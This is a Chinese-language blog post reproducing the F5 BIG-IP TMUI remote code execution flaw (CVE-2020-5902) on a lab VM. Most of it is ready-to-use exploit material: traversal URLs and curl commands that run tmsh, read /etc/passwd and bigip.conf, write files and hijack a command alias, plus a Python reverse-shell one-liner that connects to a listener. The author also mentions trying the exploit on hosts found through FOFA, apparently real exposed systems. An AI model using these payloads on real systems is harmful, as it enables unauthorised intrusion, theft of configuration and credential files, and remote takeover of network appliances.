漏洞簡介
F5 BIG-IP 是美國``F5公司一款集成流量管理、DNS、出入站規則、web應用防火牆、web網關、負載均衡等功能的應用交付平台。 在F5 BIG-IP產品的流量管理用戶頁面 (TMUI)/配置程序的特定頁面中存在一處遠程代碼執行漏洞,導致可以未授權訪問TMUI模塊所有功能(包括未公開功能),漏洞影響范圍包括執行任意系統命令、任意文件讀取、任意文件寫入、開啟/禁用服務等。
搭建環境
直接再F5官網下載即可:(先去注冊)
https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v11.x&ver=11.6.4
下載好直接導入虛擬機即可。
其他配置和搭建虛擬機一樣。
使用默認密碼: root-default登錄(linux下輸密碼不顯示)(然后需要你修改密碼,否則不行)
配置ip地址 輸入 config
配置ip,其實不用配置也想,弄個NAT就可以了。主要是網卡較多。
漏洞復現
訪問管理員頁面
https://192.168.110.151/tmui/login.jsp
利用poc進行測試利用
RCE: curl -v -k 'https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' Read File: curl -v -k 'https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
Read File: https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf RCE: https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin List File: https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
在執行命令時發現權限不足,不知為何,現在也沒研究出來,用fofa搜索的也是權限不足,執行不了Tmsh命令(list相當於bash命令),一開始不知的我,以為這個命令可以執行linux命令。所以就嘗試了,whoami
哈哈哈,菜雞的我,怎么會想到這個,打自己一巴掌。
嘗試寫文件:(測試下面如何拿到反彈shell的)
嘗試寫入:(在靶機上面寫) curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/success&content=CVE-2020-5902" "https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp" 讀取 https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/success"
訪問發現已經改變了。
獲取shell
1、修改alias劫持list命令為bash https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash 2、寫入文件:bash文件 https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=id 3、執行bash文件 https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test 4. 還原list命令 https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
還是權限不足,太難了。
直接用靶機進行配置。
還是不行。
算了算了,我低頭了。
下一步,說如何反彈shell吧。
來一道py反彈shell:(是一句話,為了方便我空格了)
https://192.168.110.151/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.151',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
用一個機器監聽端口
在執行下面命令,別人的shell就掌握手中了。
https://ip/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test
我的不行,權限問題。在此請求大佬們多多給建議,讓我跟着大佬們腳步繼續前進。
參考鏈接:
https://zhuanlan.zhihu.com/p/161674340 https://www.cnblogs.com/twosmi1e/p/13290290.html https://www.cnblogs.com/zzjdbk/p/13290086.html https://blog.csdn.net/wuyou1995/article/details/107170186